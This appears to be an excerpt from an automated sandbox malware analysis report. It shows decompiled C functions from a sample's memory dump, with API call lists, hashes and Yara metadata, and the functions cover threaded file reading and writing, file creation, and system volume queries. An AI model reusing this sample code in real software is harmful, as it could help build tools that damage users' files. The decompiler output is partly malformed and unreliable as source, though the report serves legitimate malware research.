              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: ErrorLastWin32
              • String ID:
              • API String ID: 3973360955-0
              • Opcode ID: 7df4bf3293b6b669d62ef5c6013adca4bb4de369e0254f47a0557887c47ce6d4
              • Instruction ID: 2244cb121b1f39485180d870971dda27f8a3e86e92910636d111c634ddf48eaa
              • Opcode Fuzzy Hash: 7df4bf3293b6b669d62ef5c6013adca4bb4de369e0254f47a0557887c47ce6d4
              • Instruction Fuzzy Hash: E80126B3501B30ABE7346A298C84FAB33FDDF88384F00446AFD4D87240D770A9458BA2
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 86%
              			E02353CBA(void* __edx, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
              				long _t17;
              				void* _t19;
              				intOrPtr _t21;
              				void* _t22;
              				void* _t23;
              
              				_t19 = __edx;
              				_t21 = _a4;
              				E02358EBE(_t21 + 0x110, _t21 + 0x15c, _t21 + 0x15c, _a8);
              				 *((intOrPtr*)(_t21 + 0x154)) = _a12;
              				 *((intOrPtr*)(_t21 + 0x150)) = 2;
              				asm("cdq");
              				_push(_t19);
              				E023580EE(_t21,  ~_a8);
              				_t17 = E02358108(_t21, _t20, _a8); // executed
              				_t23 = _t22 + 0x28;
              				while(_t17 == 0) {
              					_t17 = RtlGetLastWin32Error();
              					if(_t17 != 0x3e5) {
              						E02355FC7(_t17, 0x64);
              						_t17 = E02358108(_t21, _t20, _a8);
              						_t23 = _t23 + 0x10;
              						continue;
              					}
              					break;
              				}
              				return _t17;
              			}








              0x02353cba
              0x02353cbe
              0x02353cd4
              0x02353cdc
              0x02353ce7
              0x02353cf1
              0x02353cf2
              0x02353cf5
              0x02353cff
              0x02353d04
              0x02353d29
              0x02353d09
              0x02353d13
              0x02353d17
              0x02353d21
              0x02353d26
              0x00000000
              0x02353d26
              0x00000000
              0x02353d13
              0x02353d30

              APIs
                • Part of subcall function 02358108: WriteFile.KERNELBASE(?,?,02353C64,00000000,?,?,02353D04,?,?,?,?,?), ref: 0235811A
              • RtlGetLastWin32Error.NTDLL ref: 02353D09
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: ErrorFileLastWin32Write
              • String ID:
              • API String ID: 2457671358-0
              • Opcode ID: abaf027fb04ac6113a735fe922cbd8db24f0d2877472ebb62be9b26597ba67eb
              • Instruction ID: c63e28011088e5c165a2666cb673201eaf10518881469b31c9d8ef1234bc9f60
              • Opcode Fuzzy Hash: abaf027fb04ac6113a735fe922cbd8db24f0d2877472ebb62be9b26597ba67eb
              • Instruction Fuzzy Hash: 61F0A4B6405668BBCB316F55CC05EDB37BEEF89714F004419FD1C86200D730A2508BA1
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02357F01(void* __eflags, intOrPtr* _a4, intOrPtr _a8, long _a12, _Unknown_base(*)()* _a16) {
              				intOrPtr _t7;
              				void* _t8;
              				void* _t9;
              				intOrPtr* _t21;
              
              				_t7 = E02355133(_a8); // executed
              				_t21 = _a4;
              				 *_t21 = _t7;
              				if(_t7 != 0) {
              					_t8 = CreateIoCompletionPort(0xffffffff, 0, 0, _a12);
              					 *(_t21 + 4) = _t8;
              					if(_t8 != 0) {
              						_t9 = E02357EA3(_t21, _a16); // executed
              						if(_t9 != 0) {
              							return 1;
              						}
              						E02355150( *_t21);
              						E02355416( *(_t21 + 4));
              						L4:
              						goto L1;
              					}
              					E02355150( *_t21);
              					goto L4;
              				}
              				L1:
              				return 0;
              			}







              0x02357f08
              0x02357f0d
              0x02357f11
              0x02357f15
              0x02357f24
              0x02357f2a
              0x02357f2f
              0x02357f3f
              0x02357f48
              0x00000000
              0x02357f5e
              0x02357f4c
              0x02357f54
              0x02357f38
              0x00000000
              0x02357f38
              0x02357f33
              0x00000000
              0x02357f33
              0x02357f17
              0x00000000

              APIs
                • Part of subcall function 02355133: HeapCreate.KERNELBASE(00000000,00000000,00000000,?,02357F0D,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355148
              • CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,02353B70,00000000,?,023539DE,?,00000000,00000000,02353B70,?,?,00000000), ref: 02357F24
                • Part of subcall function 02357EA3: CreateThread.KERNELBASE(00000000,00000000,?,?,00000000,00000000), ref: 02357EC7
                • Part of subcall function 02357EA3: SetThreadPriority.KERNELBASE(00000000,00000002,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70,?,?,00000000), ref: 02357ED6
                • Part of subcall function 02355150: HeapDestroy.KERNELBASE(?,?,02357F51,?,?,023539DE,?,00000000,00000000,02353B70,?,?,00000000), ref: 02355156
                • Part of subcall function 02355416: CloseHandle.KERNEL32(00000000,?,02357EE5,00000000,?,02357F44,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355422
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: Create$HeapThread$CloseCompletionDestroyHandlePortPriority
              • String ID:
              • API String ID: 755708441-0
              • Opcode ID: 7e4e5a01440c9257b86d99ed0d26a04dcdfa153690bfe971bf844ca4c2a7e4f8
              • Instruction ID: 2eb4c6d30cc01e37fdd83a8c3087557ea19ac2840a0dea11b4c8c112c209ffa7
              • Opcode Fuzzy Hash: 7e4e5a01440c9257b86d99ed0d26a04dcdfa153690bfe971bf844ca4c2a7e4f8
              • Instruction Fuzzy Hash: 2DF09032118322AADF216F64EC00F56BF9A9F007B0F604929FD9DA56A0EB31E9118A54
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02357E44(intOrPtr* _a4, intOrPtr* _a8) {
              				void* _t13;
              				long _t18;
              				intOrPtr* _t19;
              
              				 *_a8 = 1;
              				_t18 = 0; // executed
              				_t9 = E02355AEB(); // executed
              				_t19 = _a4;
              				if((_t9 & 0x7fffffff) > 0) {
              					do {
              						PostQueuedCompletionStatus( *(_t19 + 4), 0, 0, 0);
              						_t18 = _t18 + 1;
              						_t13 = E02355AEB();
              						_t9 = _t13 + _t13;
              					} while (_t18 < _t13 + _t13);
              					L4:
              					while( *((intOrPtr*)(_t19 + 8)) != 0) {
              						_t9 = E02355FC7(_t9, 0x64);
              					}
              					E02355150( *_t19); // executed
              					return E02355416( *(_t19 + 4));
              				}
              				goto L4;
              			}






              0x02357e4f
              0x02357e55
              0x02357e57
              0x02357e5c
              0x02357e64
              0x02357e66
              0x02357e6c
              0x02357e72
              0x02357e73
              0x02357e78
              0x02357e7a
              0x00000000
              0x02357e88
              0x02357e82
              0x02357e87
              0x02357e8f
              0x02357ea2
              0x02357ea2
              0x00000000

              APIs
                • Part of subcall function 02355AEB: GetSystemInfo.KERNELBASE(?,?,023539DE,?,00000000,00000000,02353B70,?,?,00000000), ref: 02355AF5
              • PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,00000001,00000000,00000000,?,02353B62,?,02363044,?,?,?,00000000), ref: 02357E6C
                • Part of subcall function 02355FC7: Sleep.KERNEL32(?,?,02357E87,00000064,00000001,00000000,00000000,?,02353B62,?,02363044,?,?,?,00000000), ref: 02355FCD
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CompletionInfoPostQueuedSleepStatusSystem
              • String ID:
              • API String ID: 883128096-0
              • Opcode ID: 79a053f16297c1d794123945de112ba7b999c22662328f62dbd99f4c62c75782
              • Instruction ID: 403cdb651312df43b9fb440db6708fc7ef5d5c906748c85b19fa80662f93afa6
              • Opcode Fuzzy Hash: 79a053f16297c1d794123945de112ba7b999c22662328f62dbd99f4c62c75782
              • Instruction Fuzzy Hash: 8EF0E272604328AEEB213F61ECC0E1BB79EEB00B64B508139FD1D9A150DB32BC408A60
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02358073(intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16, long _a20, long _a24, long _a28) {
              				void* _t17;
              				intOrPtr _t18;
              				intOrPtr _t27;
              
              				_t27 = _a4;
              				 *((intOrPtr*)(_t27 + 0xc)) = 0;
              				 *((intOrPtr*)(_t27 + 8)) = 0;
              				_t17 = CreateFileW(_a8, _a20, _a24, 0, _a28, 0x48000000, 0); // executed
              				 *(_t27 + 0x14) = _t17;
              				if(_t17 != 0xffffffff) {
              					_t18 = E023569B5(_a8);
              					 *((intOrPtr*)(_t27 + 0x18)) = _t18;
              					if(_t18 != 0) {
              						 *((intOrPtr*)(_t27 + 0x20)) = _a12;
              						 *((intOrPtr*)(_t27 + 0x24)) = _a16;
              						return 1;
              					}
              					E02355416( *(_t27 + 0x14));
              				}
              				return 0;
              			}






              0x02358077
              0x02358085
              0x0235808c
              0x02358095
              0x0235809b
              0x023580a1
              0x023580aa
              0x023580af
              0x023580b5
              0x023580c5
              0x023580cb
              0x00000000
              0x023580d0
              0x023580ba
              0x023580bf
              0x00000000

              APIs
              • CreateFileW.KERNELBASE(C0000000,?,00000000,00000000,023536AD,48000000,00000000,00000000,?,023536AD,00000000,?,?,00000000,C0000000,00000000), ref: 02358095
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CreateFile
              • String ID:
              • API String ID: 823142352-0
              • Opcode ID: c36d30dd13c9ddd2136e9e88411308bfdcc9abed6de28301f458f28ca595e8f2
              • Instruction ID: bf93c83f95c6a284ab6f9d50d2b90f9232079c698284f53eabf439e6bffb9db7
              • Opcode Fuzzy Hash: c36d30dd13c9ddd2136e9e88411308bfdcc9abed6de28301f458f28ca595e8f2
              • Instruction Fuzzy Hash: 5F0131B1510615AFDB209F35DC00DA77BE9FF08324B108A29FC59D3A50E731E8509F50
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02353887(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
              				void* _t10;
              				long _t11;
              				intOrPtr _t17;
              				void* _t18;
              				void* _t19;
              
              				_t17 = _a8;
              				_t16 = _t17 + 0x15c;
              				 *((intOrPtr*)(_t17 + 0x150)) = 1;
              				 *((intOrPtr*)(_t17 + 0x154)) = _a12;
              				_t10 = E023580D4(_t17, _t17 + 0x15c,  *((intOrPtr*)(_t17 + 0x158))); // executed
              				_t19 = _t18 + 0xc;
              				while(_t10 == 0) {
              					_t11 = RtlGetLastWin32Error();
              					if(_t11 != 0x3e5) {
              						if(_t11 == 0x26) {
              							return E023534D2(_a4, _t17);
              						}
              						E02355FC7(_t11, 0x64);
              						_t10 = E023580D4(_t17, _t16,  *((intOrPtr*)(_t17 + 0x158)));
              						_t19 = _t19 + 0x10;
              						continue;
              					}
              					return _t11;
              				}
              				return _t10;
              			}








              0x0235388e
              0x02353898
              0x0235389e
              0x023538aa
              0x023538b0
              0x023538b5
              0x023538e2
              0x023538ba
              0x023538c4
              0x023538c9
              0x00000000
              0x023538f2
              0x023538cd
              0x023538da
              0x023538df
              0x00000000
              0x023538df
              0x023538f6
              0x023538f6
              0x00000000

              APIs
                • Part of subcall function 023580D4: ReadFile.KERNELBASE(?,?,02353C6F,00000000,?,?,023538B5,?,?), ref: 023580E6
              • RtlGetLastWin32Error.NTDLL ref: 023538BA
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: ErrorFileLastReadWin32
              • String ID:
              • API String ID: 3522703849-0
              • Opcode ID: 3555979ea8a0afaf6c8cdb9621422f6e642644b6356212a476822c21a2c03229
              • Instruction ID: 37eb8c9acc7c12c68c04925320d9ada3c8f93acd38514d256695d25366346e9a
              • Opcode Fuzzy Hash: 3555979ea8a0afaf6c8cdb9621422f6e642644b6356212a476822c21a2c03229
              • Instruction Fuzzy Hash: D4F02B31005B60EBDB392AA4CC08EDF379EDF85354F00045AFE1D96200DB7570588B92
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 87%
              			E02355FD5() {
              				long _v8;
              				signed int _t9;
              				WCHAR* _t16;
              
              				_t16 = E02356342();
              				_t7 = 0;
              				if(_t16 != 0) {
              					_t16[3] = 0;
              					_t9 = GetVolumeInformationW(_t16, 0, 0,  &_v8, 0, 0, 0, 0); // executed
              					asm("sbb eax, eax");
              					_v8 = _v8 &  ~_t9;
              					E023551C1(_t16);
              					_t7 = _v8;
              				}
              				return _t7;
              			}






              0x02355fdf
              0x02355fe1
              0x02355fe5
              0x02355fe9
              0x02355ff8
              0x02356001
              0x02356003
              0x02356006
              0x0235600b
              0x0235600e
              0x02356013

              APIs
                • Part of subcall function 02356342: GetWindowsDirectoryW.KERNEL32(00000000,00000000,00000000,02355FDF,00000000,00000022,?,02355792,00000000,00000001), ref: 02356347
              • GetVolumeInformationW.KERNELBASE(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000022,?,02355792,00000000,00000001), ref: 02355FF8
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: DirectoryInformationVolumeWindows
              • String ID:
              • API String ID: 3487004747-0
              • Opcode ID: 1bc934dfd1d5e7e03a17f1b64025a8a4b27e52eafc7c55926f40276605e93d41
              • Instruction ID: 1df76415f898fecf060d459e1d8cc4082abd4e8fd737d00f5abce109657dd64d
              • Opcode Fuzzy Hash: 1bc934dfd1d5e7e03a17f1b64025a8a4b27e52eafc7c55926f40276605e93d41
              • Instruction Fuzzy Hash: 2BE092B2965628BF6728D7A4DC0BCFFB29CDE01211700475EFC09D3100FA60BE0016B8
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02357E1F(intOrPtr _a4, void* _a8, long _a12) {
              				void* _t8;
              				intOrPtr _t12;
              
              				_t12 = _a4;
              				_t8 = CreateIoCompletionPort(_a8,  *(_t12 + 4), _a12, 0); // executed
              				return 0 |  *(_t12 + 4) == _t8;
              			}





              0x02357e23
              0x02357e31
              0x02357e43

              APIs
              • CreateIoCompletionPort.KERNELBASE(?,?,02353F13,00000000,00000000,?,02353F13,?,?,00000000), ref: 02357E31
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CompletionCreatePort
              • String ID:
              • API String ID: 499945625-0
              • Opcode ID: 4b6afd5d388ffbdac81f4c626bbac9726c9ddc327d3c3a27215e201318c9bec8
              • Instruction ID: 61bd9650cdc7029d299c4b9d47cb86115170ee3a6875dafd734678c1d5c76fe9
              • Opcode Fuzzy Hash: 4b6afd5d388ffbdac81f4c626bbac9726c9ddc327d3c3a27215e201318c9bec8
              • Instruction Fuzzy Hash: 82D05E32104318AFCF004E94EC01A867BACEF08A10F01C429F95A86050D272A8208B80
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E0235834D(WCHAR* _a4, long _a8, long _a12, long _a16, long _a20) {
              				void* _t6;
              
              				_t6 = CreateFileW(_a4, _a8, _a12, 0, _a16, _a20, 0); // executed
              				_t7 =  ==  ? 0 : _t6;
              				return  ==  ? 0 : _t6;
              			}




              0x02358363
              0x0235836e
              0x02358372

              APIs
              • CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,0235479B,00000000,40000000,00000000,00000002,00000000,00000000,00000000), ref: 02358363
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CreateFile
              • String ID:
              • API String ID: 823142352-0
              • Opcode ID: a580589db30ea0597c707892745f1e83c2fcd52565349524e8d70c656e837dd6
              • Instruction ID: 2fcd02a7263ef3cdec97ecf35522b0b78e86932d8be3b0c31d717fd3dfe4c2e9
              • Opcode Fuzzy Hash: a580589db30ea0597c707892745f1e83c2fcd52565349524e8d70c656e837dd6
              • Instruction Fuzzy Hash: A8D0923214424DBFDF160EA0DC46F9A3F6AEF08760F504618FA29980E0D672E470AB95
              Uniqueness

              Uniqueness Score: -1.00%

              APIs
              • GetNativeSystemInfo.KERNELBASE(?,?,?,?,02351ADF,00000000,00000000,?,00000000,?), ref: 02355A2B
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: InfoNativeSystem
              • String ID:
              • API String ID: 1721193555-0
              • Opcode ID: 908197d0402a6cae5db0eb5920e891cb6bdd5bc16c5f3e69df79efa4c6e10d04
              • Instruction ID: a12d2aa652f5dece9423570aa0843a9bcc155cbd0e480134f832e9e289ba4ae6
              • Opcode Fuzzy Hash: 908197d0402a6cae5db0eb5920e891cb6bdd5bc16c5f3e69df79efa4c6e10d04
              • Instruction Fuzzy Hash: C4C01266C0420C4A8B00EAB0950D48AB7FC960C208B400590D805A2040F6659A548291
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023580D4(struct _OVERLAPPED* _a4, void* _a8, long _a12) {
              				int _t6;
              
              				_t6 = ReadFile( *(_a4 + 0x14), _a8, _a12, 0, _a4); // executed
              				return _t6;
              			}




              0x023580e6
              0x023580ed

              APIs
              • ReadFile.KERNELBASE(?,?,02353C6F,00000000,?,?,023538B5,?,?), ref: 023580E6
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: FileRead
              • String ID:
              • API String ID: 2738559852-0
              • Opcode ID: ad1110b571af5a615a990cfb82058de855ba50cc7c64eb2188db22c5aea77e03
              • Instruction ID: d1ec992f7cab9ebc1c9dd35ef341aee27f7e947c04e89ec6afe1d7d094d4e8ef
              • Opcode Fuzzy Hash: ad1110b571af5a615a990cfb82058de855ba50cc7c64eb2188db22c5aea77e03
              • Instruction Fuzzy Hash: 32C00276140208BFDF015E84EC09FAA7B6DEB08711F018454FA185A1A2C672E9209B55
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02355133(void _a4) {
              				void* _t5;
              
              				_t4 =  !=  ? _a4 : 0x400000;
              				_t5 = HeapCreate(0,  !=  ? _a4 : 0x400000, 0); // executed
              				return _t5;
              			}




              0x02355141
              0x02355148
              0x0235514f

              APIs
              • HeapCreate.KERNELBASE(00000000,00000000,00000000,?,02357F0D,?,00000000,?,023539DE,?,00000000,00000000,02353B70), ref: 02355148
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: CreateHeap
              • String ID:
              • API String ID: 10892065-0
              • Opcode ID: c53dbc41f3f98578ca5e14ed1f67b988d8f02009ff01b50550be3666acc403a6
              • Instruction ID: ef19859cc908b1ac1c5c22db27a1827730c9228942dfaf8957516c71b3b627f0
              • Opcode Fuzzy Hash: c53dbc41f3f98578ca5e14ed1f67b988d8f02009ff01b50550be3666acc403a6
              • Instruction Fuzzy Hash: F0C04C7128860CEBEB405A95EC49BA637DCEB44746F508021FE0D995C0C7B5A9608A99
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02358108(struct _OVERLAPPED* _a4, void* _a8, long _a12) {
              				int _t6;
              
              				_t6 = WriteFile( *(_a4 + 0x14), _a8, _a12, 0, _a4); // executed
              				return _t6;
              			}




              0x0235811a
              0x02358121

              APIs
              • WriteFile.KERNELBASE(?,?,02353C64,00000000,?,?,02353D04,?,?,?,?,?), ref: 0235811A
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: FileWrite
              • String ID:
              • API String ID: 3934441357-0
              • Opcode ID: bb555773727efec2d63c5ca1ce80a0ffbe6dec496afc36a43c01d98e058bbfc7
              • Instruction ID: e21f815f2209a99331f3d92f7da3532784510f4e51657a990531190765bb83b7
              • Opcode Fuzzy Hash: bb555773727efec2d63c5ca1ce80a0ffbe6dec496afc36a43c01d98e058bbfc7
              • Instruction Fuzzy Hash: 13C00276140209BFDF115E84EC19EAA7B6DEB08711F018454FA184A1A1D772E9209B65
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E02358373(void* _a4, void* _a8, long _a12, DWORD* _a16) {
              				int _t5;
              
              				_t5 = ReadFile(_a4, _a8, _a12, _a16, 0); // executed
              				return _t5;
              			}




              0x02358384
              0x0235838b

              APIs
              • ReadFile.KERNELBASE(000000FF,FFFFFF18,00000000,?,00000000,?,023535AE,00000000,?,000000E8,?,00000000,FFFFFF18,000000FF,00000002), ref: 02358384
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_1_2_2350000_gtV10WjhFA.jbxd
              Yara matches
              Similarity
              • API ID: FileRead
              • String ID:
              • API String ID: 2738559852-0
              • Opcode ID: 9ebe14ede85eb296842986cde40df95adab31e51e204ca24f75ddfefc1f77d78
              • Instruction ID: 2abf474ad0c008bef436454af468e538a5a82ff9c3ffa3bb6ad0d1d9da420caf
              • Opcode Fuzzy Hash: 9ebe14ede85eb296842986cde40df95adab31e51e204ca24f75ddfefc1f77d78
              • Instruction Fuzzy Hash: CDC0023204020DBBCF025E81EC05F9A7F2AEB08751F008414FA181406187729531AB55
              Uniqueness

              Uniqueness Score: -1.00%

              C-Code - Quality: 100%
              			E023583A5(void* _a4, void* _a8, long _a12, DWORD* _a16) {
              				int _t5;
              
              				_t5 = WriteFile(_a4, _a8, _a12, _a16, 0); // executed
              				return _t5;
              			}




              0x023583b6
              0x023583bd

              APIs
              • WriteFile.KERNELBASE(00000D82,00000000,023547C6,?,00000000,?,023547C6,00000000,00000D82,?), ref: 023583B6
              Memory Dump Source
              • Source File: 00000001.00000002.386558305.0000000002351000.00000020.00020000.sdmp, Offset: 02350000, based on PE: true
              • Associated: 00000001.00000002.386549774.0000000002350000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386581501.000000000235E000.00000002.00020000.sdmp Download File
              • Associated: 00000001.00000002.386592683.0000000002361000.00000004.00020000.sdmp Download File
              • Associated: 00000001.00000002.386601368.0000000002364000.00000008.00020000.sdmp Download File
              • Associated: 00000001.00000002.386615093.0000000002371000.00000002.00020000.sdmp Download File
              Joe Sandbox IDA Plugin
